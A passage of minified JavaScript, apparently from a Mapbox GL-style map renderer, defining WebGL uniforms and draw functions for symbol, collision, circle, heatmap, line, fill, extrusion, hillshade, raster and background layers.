o.UniformColor(ue,H.u_color)}},Qo=function(ue,H){return{u_matrix:new o.UniformMatrix4f(ue,H.u_matrix),u_opacity:new o.Uniform1f(ue,H.u_opacity),u_image:new o.Uniform1i(ue,H.u_image),u_pattern_tl_a:new o.Uniform2f(ue,H.u_pattern_tl_a),u_pattern_br_a:new o.Uniform2f(ue,H.u_pattern_br_a),u_pattern_tl_b:new o.Uniform2f(ue,H.u_pattern_tl_b),u_pattern_br_b:new o.Uniform2f(ue,H.u_pattern_br_b),u_texsize:new o.Uniform2f(ue,H.u_texsize),u_mix:new o.Uniform1f(ue,H.u_mix),u_pattern_size_a:new o.Uniform2f(ue,H.u_pattern_size_a),u_pattern_size_b:new o.Uniform2f(ue,H.u_pattern_size_b),u_scale_a:new o.Uniform1f(ue,H.u_scale_a),u_scale_b:new o.Uniform1f(ue,H.u_scale_b),u_pixel_coord_upper:new o.Uniform2f(ue,H.u_pixel_coord_upper),u_pixel_coord_lower:new o.Uniform2f(ue,H.u_pixel_coord_lower),u_tile_units_to_pixels:new o.Uniform1f(ue,H.u_tile_units_to_pixels)}},ls=function(ue,H,he){return{u_matrix:ue,u_opacity:H,u_color:he}},Ts=function(ue,H,he,$,ve,Re){return o.extend(nu($,Re,he,ve),{u_matrix:ue,u_opacity:H})},As={fillExtrusion:wi,fillExtrusionPattern:tl,fill:jo,fillPattern:ns,fillOutline:as,fillOutlinePattern:is,circle:Al,collisionBox:cf,collisionCircle:hf,debug:Cu,clippingMask:Oi,heatmap:al,heatmapTexture:xs,hillshade:df,hillshadePrepare:Lu,line:Ti,lineGradient:zo,linePattern:iu,lineSDF:Ru,raster:ou,symbolIcon:Pl,symbolSDF:ss,symbolTextAndIcon:pf,background:Du,backgroundPattern:Qo},no;function lo(ue,H,he,$,ve,Re,He){for(var tt=ue.context,ht=tt.gl,Dt=ue.useProgram("collisionBox"),Wt=[],ar=0,hr=0,Er=0;Er<$.length;Er++){var Fr=$[Er],Or=H.getTile(Fr),zr=Or.getBucket(he);if(zr){var Yr=Fr.posMatrix;(ve[0]!==0||ve[1]!==0)&&(Yr=ue.translatePosMatrix(Fr.posMatrix,Or,ve,Re));var en=He?zr.textCollisionBox:zr.iconCollisionBox,xn=zr.collisionCircleArray;if(xn.length>0){var Pn=o.create(),Bn=Yr;o.mul(Pn,zr.placementInvProjMatrix,ue.transform.glCoordMatrix),o.mul(Pn,Pn,zr.placementViewportMatrix),Wt.push({circleArray:xn,circleOffset:hr,transform:Bn,invTransform:Pn}),ar+=xn.length/4,hr=ar}en&&Dt.draw(tt,ht.LINES,Pr.disabled,Ut.disabled,ue.colorModeForRenderPass(),wt.disabled,vf(Yr,ue.transform,Or),he.id,en.layoutVertexBuffer,en.indexBuffer,en.segments,null,ue.transform.zoom,null,null,en.collisionVertexBuffer)}}if(!(!He||!Wt.length)){var Un=ue.useProgram("collisionCircle"),Nn=new o.StructArrayLayout2f1f2i16;Nn.resize(ar*4),Nn._trim();for(var jn=0,na=0,ra=Wt;na<ra.length;na+=1)for(var sa=ra[na],ha=0;ha<sa.circleArray.length/4;ha++){var Aa=ha*4,Da=sa.circleArray[Aa+0],Ka=sa.circleArray[Aa+1],ka=sa.circleArray[Aa+2],Ba=sa.circleArray[Aa+3];Nn.emplace(jn++,Da,Ka,ka,Ba,0),Nn.emplace(jn++,Da,Ka,ka,Ba,1),Nn.emplace(jn++,Da,Ka,ka,Ba,2),Nn.emplace(jn++,Da,Ka,ka,Ba,3)}(!no||no.length<ar*2)&&(no=Ms(ar));for(var xa=tt.createIndexBuffer(no,!0),Ja=tt.createVertexBuffer(Nn,o.collisionCircleLayout.members,!0),qa=0,ti=Wt;qa<ti.length;qa+=1){var Na=ti[qa],fi=Ml(Na.transform,Na.invTransform,ue.transform);Un.draw(tt,ht.TRIANGLES,Pr.disabled,Ut.disabled,ue.colorModeForRenderPass(),wt.disabled,fi,he.id,Ja,xa,o.SegmentVector.simpleSegment(0,Na.circleOffset*2,Na.circleArray.length,Na.circleArray.length/2),null,ue.transform.zoom,null,null,null)}Ja.destroy(),xa.destroy()}}function Ms(ue){var H=ue*2,he=new o.StructArrayLayout3ui6;he.resize(H),he._trim();for(var $=0;$<H;$++){var ve=$*6;he.uint16[ve+0]=$*4+0,he.uint16[ve+1]=$*4+1,he.uint16[ve+2]=$*4+2,he.uint16[ve+3]=$*4+2,he.uint16[ve+4]=$*4+3,he.uint16[ve+5]=$*4+0}return he}var Iu=o.identity(new Float32Array(16));function Hs(ue,H,he,$,ve){if(ue.renderPass==="translucent"){var Re=Ut.disabled,He=ue.colorModeForRenderPass(),tt=he.layout.get("text-variable-anchor");tt&&ku($,ue,he,H,he.layout.get("text-rotation-alignment"),he.layout.get("text-pitch-alignment"),ve),he.paint.get("icon-opacity").constantOr(1)!==0&&us(ue,H,he,$,!1,he.paint.get("icon-translate"),he.paint.get("icon-translate-anchor"),he.layout.get("icon-rotation-alignment"),he.layout.get("icon-pitch-alignment"),he.layout.get("icon-keep-upright"),Re,He),he.paint.get("text-opacity").constantOr(1)!==0&&us(ue,H,he,$,!0,he.paint.get("text-translate"),he.paint.get("text-translate-anchor"),he.layout.get("text-rotation-alignment"),he.layout.get("text-pitch-alignment"),he.layout.get("text-keep-upright"),Re,He),H.map.showCollisionBoxes&&(lo(ue,H,he,$,he.paint.get("text-translate"),he.paint.get("text-translate-anchor"),!0),lo(ue,H,he,$,he.paint.get("icon-translate"),he.paint.get("icon-translate-anchor"),!1))}}function Rl(ue,H,he,$,ve,Re){var He=o.getAnchorAlignment(ue),tt=He.horizontalAlign,ht=He.verticalAlign,Dt=-(tt-.5)*H,Wt=-(ht-.5)*he,ar=o.evaluateVariableOffset(ue,$);return new o.Point((Dt/ve+ar[0])*Re,(Wt/ve+ar[1])*Re)}function ku(ue,H,he,$,ve,Re,He){for(var tt=H.transform,ht=ve==="map",Dt=Re==="map",Wt=0,ar=ue;Wt<ar.length;Wt+=1){var hr=ar[Wt],Er=$.getTile(hr),Fr=Er.getBucket(he);if(!(!Fr||!Fr.text||!Fr.text.segments.get().length)){var Or=Fr.textSizeData,zr=o.evaluateSizeForZoom(Or,tt.zoom),Yr=un(Er,1,H.transform.zoom),en=Sr(hr.posMatrix,Dt,ht,H.transform,Yr),xn=he.layout.get("icon-text-fit")!=="none"&&Fr.hasIconData();if(zr){var Pn=Math.pow(2,tt.zoom-Er.tileID.overscaledZ);Mo(Fr,ht,Dt,He,o.symbolSize,tt,en,hr.posMatrix,Pn,zr,xn)}}}}function Mo(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt){var ar=ue.text.placedSymbolArray,hr=ue.text.dynamicLayoutVertexArray,Er=ue.icon.dynamicLayoutVertexArray,Fr={};hr.clear();for(var Or=0;Or<ar.length;Or++){var zr=ar.get(Or),Yr=ue.allowVerticalPlacement&&!zr.placedOrientation,en=!zr.hidden&&zr.crossTileID&&!Yr?$[zr.crossTileID]:null;if(!en)ea(zr.numGlyphs,hr);else{var xn=new o.Point(zr.anchorX,zr.anchorY),Pn=Ir(xn,he?tt:He),Bn=Xr(Re.cameraToCenterDistance,Pn.signedDistanceFromCamera),Un=ve.evaluateSizeForFeature(ue.textSizeData,Dt,zr)*Bn/o.ONE_EM;he&&(Un*=ue.tilePixelRatio/ht);for(var Nn=en.width,jn=en.height,na=en.anchor,ra=en.textOffset,sa=en.textBoxScale,ha=Rl(na,Nn,jn,ra,sa,Un),Aa=he?Ir(xn.add(ha),He).point:Pn.point.add(H?ha.rotate(-Re.angle):ha),Da=ue.allowVerticalPlacement&&zr.placedOrientation===o.WritingMode.vertical?Math.PI/2:0,Ka=0;Ka<zr.numGlyphs;Ka++)o.addDynamicAttributes(hr,Aa,Da);Wt&&zr.associatedIconIndex>=0&&(Fr[zr.associatedIconIndex]={shiftedAnchor:Aa,angle:Da})}}if(Wt){Er.clear();for(var ka=ue.icon.placedSymbolArray,Ba=0;Ba<ka.length;Ba++){var xa=ka.get(Ba);if(xa.hidden)ea(xa.numGlyphs,Er);else{var Ja=Fr[Ba];if(!Ja)ea(xa.numGlyphs,Er);else for(var qa=0;qa<xa.numGlyphs;qa++)o.addDynamicAttributes(Er,Ja.shiftedAnchor,Ja.angle)}}ue.icon.dynamicLayoutVertexBuffer.updateData(Er)}ue.text.dynamicLayoutVertexBuffer.updateData(hr)}function uu(ue,H,he){return he.iconsInText&&H?"symbolTextAndIcon":ue?"symbolSDF":"symbolIcon"}function us(ue,H,he,$,ve,Re,He,tt,ht,Dt,Wt,ar){for(var hr=ue.context,Er=hr.gl,Fr=ue.transform,Or=tt==="map",zr=ht==="map",Yr=Or&&he.layout.get("symbol-placement")!=="point",en=Or&&!zr&&!Yr,xn=he.layout.get("symbol-sort-key").constantOr(1)!==void 0,Pn=ue.depthModeForSublayer(0,Pr.ReadOnly),Bn=he.layout.get("text-variable-anchor"),Un=[],Nn=0,jn=$;Nn<jn.length;Nn+=1){var na=jn[Nn],ra=H.getTile(na),sa=ra.getBucket(he);if(sa){var ha=ve?sa.text:sa.icon;if(!(!ha||!ha.segments.get().length)){var Aa=ha.programConfigurations.get(he.id),Da=ve||sa.sdfIcons,Ka=ve?sa.textSizeData:sa.iconSizeData,ka=zr||Fr.pitch!==0,Ba=ue.useProgram(uu(Da,ve,sa),Aa),xa=o.evaluateSizeForZoom(Ka,Fr.zoom),Ja=void 0,qa=[0,0],ti=void 0,Na=void 0,fi=null,Ia=void 0;if(ve){if(ti=ra.glyphAtlasTexture,Na=Er.LINEAR,Ja=ra.glyphAtlasTexture.size,sa.iconsInText){qa=ra.imageAtlasTexture.size,fi=ra.imageAtlasTexture;var Ha=Ka.kind==="composite"||Ka.kind==="camera";Ia=ka||ue.options.rotating||ue.options.zooming||Ha?Er.LINEAR:Er.NEAREST}}else{var Ei=he.layout.get("icon-size").constantOr(0)!==1||sa.iconsNeedLinear;ti=ra.imageAtlasTexture,Na=Da||ue.options.rotating||ue.options.zooming||Ei||ka?Er.LINEAR:Er.NEAREST,Ja=ra.imageAtlasTexture.size}var Bi=un(ra,1,ue.transform.zoom),cs=Sr(na.posMatrix,zr,Or,ue.transform,Bi),hs=Dr(na.posMatrix,zr,Or,ue.transform,Bi),Vs=Bn&&sa.hasTextData(),Gs=he.layout.get("icon-text-fit")!=="none"&&Vs&&sa.hasIconData();Yr&&tn(sa,na.posMatrix,ue,ve,cs,hs,zr,Dt);var vl=ue.translatePosMatrix(na.posMatrix,ra,Re,He),Ws=Yr||ve&&Bn||Gs?Iu:cs,Eo=ue.translatePosMatrix(hs,ra,Re,He,!0),Nl=Da&&he.paint.get(ve?"text-halo-width":"icon-halo-width").constantOr(1)!==0,fo=void 0;Da?sa.iconsInText?fo=lu(Ka.kind,xa,en,zr,ue,vl,Ws,Eo,Ja,qa):fo=Us(Ka.kind,xa,en,zr,ue,vl,Ws,Eo,ve,Ja,!0):fo=su(Ka.kind,xa,en,zr,ue,vl,Ws,Eo,ve,Ja);var qo={program:Ba,buffers:ha,uniformValues:fo,atlasTexture:ti,atlasTextureIcon:fi,atlasInterpolation:Na,atlasInterpolationIcon:Ia,isSDF:Da,hasHalo:Nl};if(xn)for(var Ys=ha.segments.get(),Cs=0,Zs=Ys;Cs<Zs.length;Cs+=1){var Df=Zs[Cs];Un.push({segments:new o.SegmentVector([Df]),sortKey:Df.sortKey,state:qo})}else Un.push({segments:ha.segments,sortKey:0,state:qo})}}}xn&&Un.sort(function(If,kf){return If.sortKey-kf.sortKey});for(var du=0,ao=Un;du<ao.length;du+=1){var wf=ao[du],yo=wf.state;if(hr.activeTexture.set(Er.TEXTURE0),yo.atlasTexture.bind(yo.atlasInterpolation,Er.CLAMP_TO_EDGE),yo.atlasTextureIcon&&(hr.activeTexture.set(Er.TEXTURE1),yo.atlasTextureIcon&&yo.atlasTextureIcon.bind(yo.atlasInterpolationIcon,Er.CLAMP_TO_EDGE)),yo.isSDF){var Tf=yo.uniformValues;yo.hasHalo&&(Tf.u_is_halo=1,ol(yo.buffers,wf.segments,he,ue,yo.program,Pn,Wt,ar,Tf)),Tf.u_is_halo=0}ol(yo.buffers,wf.segments,he,ue,yo.program,Pn,Wt,ar,yo.uniformValues)}}function ol(ue,H,he,$,ve,Re,He,tt,ht){var Dt=$.context,Wt=Dt.gl;ve.draw(Dt,Wt.TRIANGLES,Re,He,tt,wt.disabled,ht,he.id,ue.layoutVertexBuffer,ue.indexBuffer,H,he.paint,$.transform.zoom,ue.programConfigurations.get(he.id),ue.dynamicLayoutVertexBuffer,ue.opacityVertexBuffer)}function $o(ue,H,he,$){if(ue.renderPass==="translucent"){var ve=he.paint.get("circle-opacity"),Re=he.paint.get("circle-stroke-width"),He=he.paint.get("circle-stroke-opacity"),tt=he.layout.get("circle-sort-key").constantOr(1)!==void 0;if(!(ve.constantOr(1)===0&&(Re.constantOr(1)===0||He.constantOr(1)===0))){for(var ht=ue.context,Dt=ht.gl,Wt=ue.depthModeForSublayer(0,Pr.ReadOnly),ar=Ut.disabled,hr=ue.colorModeForRenderPass(),Er=[],Fr=0;Fr<$.length;Fr++){var Or=$[Fr],zr=H.getTile(Or),Yr=zr.getBucket(he);if(Yr){var en=Yr.programConfigurations.get(he.id),xn=ue.useProgram("circle",en),Pn=Yr.layoutVertexBuffer,Bn=Yr.indexBuffer,Un=ff(ue,Or,zr,he),Nn={programConfiguration:en,program:xn,layoutVertexBuffer:Pn,indexBuffer:Bn,uniformValues:Un};if(tt)for(var jn=Yr.segments.get(),na=0,ra=jn;na<ra.length;na+=1){var sa=ra[na];Er.push({segments:new o.SegmentVector([sa]),sortKey:sa.sortKey,state:Nn})}else Er.push({segments:Yr.segments,sortKey:0,state:Nn})}}tt&&Er.sort(function(Na,fi){return Na.sortKey-fi.sortKey});for(var ha=0,Aa=Er;ha<Aa.length;ha+=1){var Da=Aa[ha],Ka=Da.state,ka=Ka.programConfiguration,Ba=Ka.program,xa=Ka.layoutVertexBuffer,Ja=Ka.indexBuffer,qa=Ka.uniformValues,ti=Da.segments;Ba.draw(ht,Dt.TRIANGLES,Wt,ar,hr,wt.disabled,qa,he.id,xa,Ja,ti,he.paint,ue.transform.zoom,ka)}}}}function gf(ue,H,he,$){if(he.paint.get("heatmap-opacity")!==0)if(ue.renderPass==="offscreen"){var ve=ue.context,Re=ve.gl,He=Ut.disabled,tt=new rt([Re.ONE,Re.ONE],o.Color.transparent,[!0,!0,!0,!0]);fu(ve,ue,he),ve.clear({color:o.Color.transparent});for(var ht=0;ht<$.length;ht++){var Dt=$[ht];if(!H.hasRenderableParent(Dt)){var Wt=H.getTile(Dt),ar=Wt.getBucket(he);if(ar){var hr=ar.programConfigurations.get(he.id),Er=ue.useProgram("heatmap",hr),Fr=ue.transform,Or=Fr.zoom;Er.draw(ve,Re.TRIANGLES,Pr.disabled,He,tt,wt.disabled,il(Dt.posMatrix,Wt,Or,he.paint.get("heatmap-intensity")),he.id,ar.layoutVertexBuffer,ar.indexBuffer,ar.segments,he.paint,ue.transform.zoom,hr)}}}ve.viewport.set([0,0,ue.width,ue.height])}else ue.renderPass==="translucent"&&(ue.context.setColorMode(ue.colorModeForRenderPass()),Yi(ue,he))}function fu(ue,H,he){var $=ue.gl;ue.activeTexture.set($.TEXTURE1),ue.viewport.set([0,0,H.width/4,H.height/4]);var ve=he.heatmapFbo;if(ve)$.bindTexture($.TEXTURE_2D,ve.colorAttachment.get()),ue.bindFramebuffer.set(ve.framebuffer);else{var Re=$.createTexture();$.bindTexture($.TEXTURE_2D,Re),$.texParameteri($.TEXTURE_2D,$.TEXTURE_WRAP_S,$.CLAMP_TO_EDGE),$.texParameteri($.TEXTURE_2D,$.TEXTURE_WRAP_T,$.CLAMP_TO_EDGE),$.texParameteri($.TEXTURE_2D,$.TEXTURE_MIN_FILTER,$.LINEAR),$.texParameteri($.TEXTURE_2D,$.TEXTURE_MAG_FILTER,$.LINEAR),ve=he.heatmapFbo=ue.createFramebuffer(H.width/4,H.height/4,!1),Dl(ue,H,Re,ve)}}function Dl(ue,H,he,$){var ve=ue.gl,Re=ue.extRenderToTextureHalfFloat?ue.extTextureHalfFloat.HALF_FLOAT_OES:ve.UNSIGNED_BYTE;ve.texImage2D(ve.TEXTURE_2D,0,ve.RGBA,H.width/4,H.height/4,0,ve.RGBA,Re,null),$.colorAttachment.set(he)}function Yi(ue,H){var he=ue.context,$=he.gl,ve=H.heatmapFbo;if(ve){he.activeTexture.set($.TEXTURE0),$.bindTexture($.TEXTURE_2D,ve.colorAttachment.get()),he.activeTexture.set($.TEXTURE1);var Re=H.colorRampTexture;Re||(Re=H.colorRampTexture=new o.Texture(he,H.colorRamp,$.RGBA)),Re.bind($.LINEAR,$.CLAMP_TO_EDGE),ue.useProgram("heatmapTexture").draw(he,$.TRIANGLES,Pr.disabled,Ut.disabled,ue.colorModeForRenderPass(),wt.disabled,Sl(ue,H,0,1),H.id,ue.viewportBuffer,ue.quadTriangleIndexBuffer,ue.viewportSegments,H.paint,ue.transform.zoom)}}function _u(ue,H,he,$){if(ue.renderPass==="translucent"){var ve=he.paint.get("line-opacity"),Re=he.paint.get("line-width");if(!(ve.constantOr(1)===0||Re.constantOr(1)===0)){var He=ue.depthModeForSublayer(0,Pr.ReadOnly),tt=ue.colorModeForRenderPass(),ht=he.paint.get("line-dasharray"),Dt=he.paint.get("line-pattern"),Wt=Dt.constantOr(1),ar=he.paint.get("line-gradient"),hr=he.getCrossfadeParameters(),Er=Wt?"linePattern":ht?"lineSDF":ar?"lineGradient":"line",Fr=ue.context,Or=Fr.gl,zr=!0;if(ar){Fr.activeTexture.set(Or.TEXTURE0);var Yr=he.gradientTexture;if(!he.gradient)return;Yr||(Yr=he.gradientTexture=new o.Texture(Fr,he.gradient,Or.RGBA)),Yr.bind(Or.LINEAR,Or.CLAMP_TO_EDGE)}for(var en=0,xn=$;en<xn.length;en+=1){var Pn=xn[en],Bn=H.getTile(Pn);if(!(Wt&&!Bn.patternsLoaded())){var Un=Bn.getBucket(he);if(Un){var Nn=Un.programConfigurations.get(he.id),jn=ue.context.program.get(),na=ue.useProgram(Er,Nn),ra=zr||na.program!==jn,sa=Dt.constantOr(null);if(sa&&Bn.imageAtlas){var ha=Bn.imageAtlas,Aa=ha.patternPositions[sa.to.toString()],Da=ha.patternPositions[sa.from.toString()];Aa&&Da&&Nn.setConstantPatternPositions(Aa,Da)}var Ka=Wt?Ao(ue,Bn,he,hr):ht?Cl(ue,Bn,he,ht,hr):ar?El(ue,Bn,he):bs(ue,Bn,he);Wt?(Fr.activeTexture.set(Or.TEXTURE0),Bn.imageAtlasTexture.bind(Or.LINEAR,Or.CLAMP_TO_EDGE),Nn.updatePaintBuffers(hr)):ht&&(ra||ue.lineAtlas.dirty)&&(Fr.activeTexture.set(Or.TEXTURE0),ue.lineAtlas.bind(Fr)),na.draw(Fr,Or.TRIANGLES,He,ue.stencilModeForClipping(Pn),tt,wt.disabled,Ka,he.id,Un.layoutVertexBuffer,Un.indexBuffer,Un.segments,he.paint,ue.transform.zoom,Nn),zr=!1}}}}}}function sl(ue,H,he,$){var ve=he.paint.get("fill-color"),Re=he.paint.get("fill-opacity");if(Re.constantOr(1)!==0){var He=ue.colorModeForRenderPass(),tt=he.paint.get("fill-pattern"),ht=ue.opaquePassEnabledForLayer()&&!tt.constantOr(1)&&ve.constantOr(o.Color.transparent).a===1&&Re.constantOr(0)===1?"opaque":"translucent";if(ue.renderPass===ht){var Dt=ue.depthModeForSublayer(1,ue.renderPass==="opaque"?Pr.ReadWrite:Pr.ReadOnly);Fo(ue,H,he,$,Dt,He,!1)}if(ue.renderPass==="translucent"&&he.paint.get("fill-antialias")){var Wt=ue.depthModeForSublayer(he.getPaintProperty("fill-outline-color")?2:0,Pr.ReadOnly);Fo(ue,H,he,$,Wt,He,!0)}}}function Fo(ue,H,he,$,ve,Re,He){var tt=ue.context.gl,ht=he.paint.get("fill-pattern"),Dt=ht&&ht.constantOr(1),Wt=he.getCrossfadeParameters(),ar,hr,Er,Fr,Or;He?(hr=Dt&&!he.getPaintProperty("fill-outline-color")?"fillOutlinePattern":"fillOutline",ar=tt.LINES):(hr=Dt?"fillPattern":"fill",ar=tt.TRIANGLES);for(var zr=0,Yr=$;zr<Yr.length;zr+=1){var en=Yr[zr],xn=H.getTile(en);if(!(Dt&&!xn.patternsLoaded())){var Pn=xn.getBucket(he);if(Pn){var Bn=Pn.programConfigurations.get(he.id),Un=ue.useProgram(hr,Bn);Dt&&(ue.context.activeTexture.set(tt.TEXTURE0),xn.imageAtlasTexture.bind(tt.LINEAR,tt.CLAMP_TO_EDGE),Bn.updatePaintBuffers(Wt));var Nn=ht.constantOr(null);if(Nn&&xn.imageAtlas){var jn=xn.imageAtlas,na=jn.patternPositions[Nn.to.toString()],ra=jn.patternPositions[Nn.from.toString()];na&&ra&&Bn.setConstantPatternPositions(na,ra)}var sa=ue.translatePosMatrix(en.posMatrix,xn,he.paint.get("fill-translate"),he.paint.get("fill-translate-anchor"));if(!He)Fr=Pn.indexBuffer,Or=Pn.segments,Er=Dt?_o(sa,ue,Wt,xn):To(sa);else{Fr=Pn.indexBuffer2,Or=Pn.segments2;var ha=[tt.drawingBufferWidth,tt.drawingBufferHeight];Er=hr==="fillOutlinePattern"&&Dt?nl(sa,ue,Wt,xn,ha):rl(sa,ha)}Un.draw(ue.context,ar,ve,ue.stencilModeForClipping(en),Re,wt.disabled,Er,he.id,Pn.layoutVertexBuffer,Fr,Or,he.paint,ue.transform.zoom,Bn)}}}}function ll(ue,H,he,$){var ve=he.paint.get("fill-extrusion-opacity");if(ve!==0&&ue.renderPass==="translucent"){var Re=new Pr(ue.context.gl.LEQUAL,Pr.ReadWrite,ue.depthRangeFor3D);if(ve===1&&!he.paint.get("fill-extrusion-pattern").constantOr(1)){var He=ue.colorModeForRenderPass();fs(ue,H,he,$,Re,Ut.disabled,He)}else fs(ue,H,he,$,Re,Ut.disabled,rt.disabled),fs(ue,H,he,$,Re,ue.stencilModeFor3D(),ue.colorModeForRenderPass())}}function fs(ue,H,he,$,ve,Re,He){for(var tt=ue.context,ht=tt.gl,Dt=he.paint.get("fill-extrusion-pattern"),Wt=Dt.constantOr(1),ar=he.getCrossfadeParameters(),hr=he.paint.get("fill-extrusion-opacity"),Er=0,Fr=$;Er<Fr.length;Er+=1){var Or=Fr[Er],zr=H.getTile(Or),Yr=zr.getBucket(he);if(Yr){var en=Yr.programConfigurations.get(he.id),xn=ue.useProgram(Wt?"fillExtrusionPattern":"fillExtrusion",en);Wt&&(ue.context.activeTexture.set(ht.TEXTURE0),zr.imageAtlasTexture.bind(ht.LINEAR,ht.CLAMP_TO_EDGE),en.updatePaintBuffers(ar));var Pn=Dt.constantOr(null);if(Pn&&zr.imageAtlas){var Bn=zr.imageAtlas,Un=Bn.patternPositions[Pn.to.toString()],Nn=Bn.patternPositions[Pn.from.toString()];Un&&Nn&&en.setConstantPatternPositions(Un,Nn)}var jn=ue.translatePosMatrix(Or.posMatrix,zr,he.paint.get("fill-extrusion-translate"),he.paint.get("fill-extrusion-translate-anchor")),na=he.paint.get("fill-extrusion-vertical-gradient"),ra=Wt?Xo(jn,ue,na,hr,Or,ar,zr):to(jn,ue,na,hr);xn.draw(tt,tt.gl.TRIANGLES,ve,Re,He,wt.backCCW,ra,he.id,Yr.layoutVertexBuffer,Yr.indexBuffer,Yr.segments,he.paint,ue.transform.zoom,en)}}}function Il(ue,H,he,$){if(!(ue.renderPass!=="offscreen"&&ue.renderPass!=="translucent")){for(var ve=ue.context,Re=H.getSource().maxzoom,He=ue.depthModeForSublayer(0,Pr.ReadOnly),tt=ue.colorModeForRenderPass(),ht=ue.renderPass==="translucent"?ue.stencilConfigForOverlap($):[{},$],Dt=ht[0],Wt=ht[1],ar=0,hr=Wt;ar<hr.length;ar+=1){var Er=hr[ar],Fr=H.getTile(Er);Fr.needsHillshadePrepare&&ue.renderPass==="offscreen"?cu(ue,Fr,he,Re,He,Ut.disabled,tt):ue.renderPass==="translucent"&&zu(ue,Fr,he,He,Dt[Er.overscaledZ],tt)}ve.viewport.set([0,0,ue.width,ue.height])}}function zu(ue,H,he,$,ve,Re){var He=ue.context,tt=He.gl,ht=H.fbo;if(ht){var Dt=ue.useProgram("hillshade");He.activeTexture.set(tt.TEXTURE0),tt.bindTexture(tt.TEXTURE_2D,ht.colorAttachment.get());var Wt=Pu(ue,H,he);Dt.draw(He,tt.TRIANGLES,$,ve,Re,wt.disabled,Wt,he.id,ue.rasterBoundsBuffer,ue.quadTriangleIndexBuffer,ue.rasterBoundsSegments)}}function cu(ue,H,he,$,ve,Re,He){var tt=ue.context,ht=tt.gl,Dt=H.dem;if(Dt&&Dt.data){var Wt=Dt.dim,ar=Dt.stride,hr=Dt.getPixels();if(tt.activeTexture.set(ht.TEXTURE1),tt.pixelStoreUnpackPremultiplyAlpha.set(!1),H.demTexture=H.demTexture||ue.getTileTexture(ar),H.demTexture){var Er=H.demTexture;Er.update(hr,{premultiply:!1}),Er.bind(ht.NEAREST,ht.CLAMP_TO_EDGE)}else H.demTexture=new o.Texture(tt,hr,ht.RGBA,{premultiply:!1}),H.demTexture.bind(ht.NEAREST,ht.CLAMP_TO_EDGE);tt.activeTexture.set(ht.TEXTURE0);var Fr=H.fbo;if(!Fr){var Or=new o.Texture(tt,{width:Wt,height:Wt,data:null},ht.RGBA);Or.bind(ht.LINEAR,ht.CLAMP_TO_EDGE),Fr=H.fbo=tt.createFramebuffer(Wt,Wt,!0),Fr.colorAttachment.set(Or.texture)}tt.bindFramebuffer.set(Fr.framebuffer),tt.viewport.set([0,0,Wt,Wt]),ue.useProgram("hillshadePrepare").draw(tt,ht.TRIANGLES,ve,Re,He,wt.disabled,au(H.tileID,Dt,$),he.id,ue.rasterBoundsBuffer,ue.quadTriangleIndexBuffer,ue.rasterBoundsSegments),H.needsHillshadePrepare=!1}}function hu(ue,H,he,$){if(ue.renderPass==="translucent"&&he.paint.get("raster-opacity")!==0&&$.length)for(var ve=ue.context,Re=ve.gl,He=H.getSource(),tt=ue.useProgram("raster"),ht=ue.colorModeForRenderPass(),Dt=He instanceof J?[{},$]:ue.stencilConfigForOverlap($),Wt=Dt[0],ar=Dt[1],hr=ar[ar.length-1].overscaledZ,Er=!ue.options.moving,Fr=0,Or=ar;Fr<Or.length;Fr+=1){var zr=Or[Fr],Yr=ue.depthModeForSublayer(zr.overscaledZ-hr,he.paint.get("raster-opacity")===1?Pr.ReadWrite:Pr.ReadOnly,Re.LESS),en=H.getTile(zr),xn=ue.transform.calculatePosMatrix(zr.toUnwrapped(),Er);en.registerFadeDuration(he.paint.get("raster-fade-duration"));var Pn=H.findLoadedParent(zr,0),Bn=Ss(en,Pn,H,he,ue.transform),Un=void 0,Nn=void 0,jn=he.paint.get("raster-resampling")==="nearest"?Re.NEAREST:Re.LINEAR;ve.activeTexture.set(Re.TEXTURE0),en.texture.bind(jn,Re.CLAMP_TO_EDGE,Re.LINEAR_MIPMAP_NEAREST),ve.activeTexture.set(Re.TEXTURE1),Pn?(Pn.texture.bind(jn,Re.CLAMP_TO_EDGE,Re.LINEAR_MIPMAP_NEAREST),Un=Math.pow(2,Pn.tileID.overscaledZ-en.tileID.overscaledZ),Nn=[en.tileID.canonical.x*Un%1,en.tileID.canonical.y*Un%1]):en.texture.bind(jn,Re.CLAMP_TO_EDGE,Re.LINEAR_MIPMAP_NEAREST);var na=Ns(xn,Nn||[0,0],Un||1,Bn,he);He instanceof J?tt.draw(ve,Re.TRIANGLES,Yr,Ut.disabled,ht,wt.disabled,na,he.id,He.boundsBuffer,ue.quadTriangleIndexBuffer,He.boundsSegments):tt.draw(ve,Re.TRIANGLES,Yr,Wt[zr.overscaledZ],ht,wt.disabled,na,he.id,ue.rasterBoundsBuffer,ue.quadTriangleIndexBuffer,ue.rasterBoundsSegments)}}function Ss(ue,H,he,$,ve){var Re=$.paint.get("raster-fade-duration");if(Re>0){var He=o.browser.now(),tt=(He-ue.timeAdded)/Re,ht=H?(He-H.timeAdded)/Re:-1,Dt=he.getSource(),Wt=ve.coveringZoomLevel({tileSize:Dt.tileSize,roundZoom:Dt.roundZoom}),ar=!H||Math.abs(H.tileID.overscaledZ-Wt)>Math.abs(ue.tileID.overscaledZ-Wt),hr=ar&&ue.refreshedUponExpiration?1:o.clamp(ar?tt:1-ht,0,1);return ue.refreshedUponExpiration&&tt>=1&&(ue.refreshedUponExpiration=!1),H?{opacity:1,mix:1-hr}:{opacity:hr,mix:0}}else return{opacity:1,mix:0}}function kl(ue,H,he){var $=he.paint.get("background-color"),ve=he.paint.get("background-opacity");if(ve!==0){var Re=ue.context,He=Re.gl,tt=ue.transform,ht=tt.tileSize,Dt=he.paint.get("background-pattern");if(!ue.isPatternMissing(Dt)){var Wt=!Dt&&$.a===1&&ve===1&&ue.opaquePassEnabledForLayer()?"opaque":"translucent";if(ue.renderPass===Wt){var ar=Ut.disabled,hr=ue.depthModeForSublayer(0,Wt==="opaque"?Pr.ReadWrite:Pr.ReadOnly),Er=ue.colorModeForRenderPass(),Fr=ue.useProgram(Dt?"backgroundPattern":"background"),Or=tt.coveringTiles({tileSize:ht});Dt&&(Re.activeTexture.set(He.TEXTURE0),ue.imageManager.bind(ue.context));for(var zr=he.getCrossfadeParameters(),Yr=0,en=Or;Yr<en.length;Yr+=1){var xn=en[Yr],Pn=ue.transform.calculatePosMatrix(xn.toUnwrapped()),Bn=Dt?Ts(Pn,ve,ue,Dt,{tileID:xn,tileSize:ht},zr):ls(Pn,ve,$);Fr.draw(Re,He.TRIANGLES,hr,ar,Er,wt.disabled,Bn,he.id,ue.tileExtentBuffer,ue.quadTriangleIndexBuffer,ue.tileExtentSegments)}}}}}var ul=new 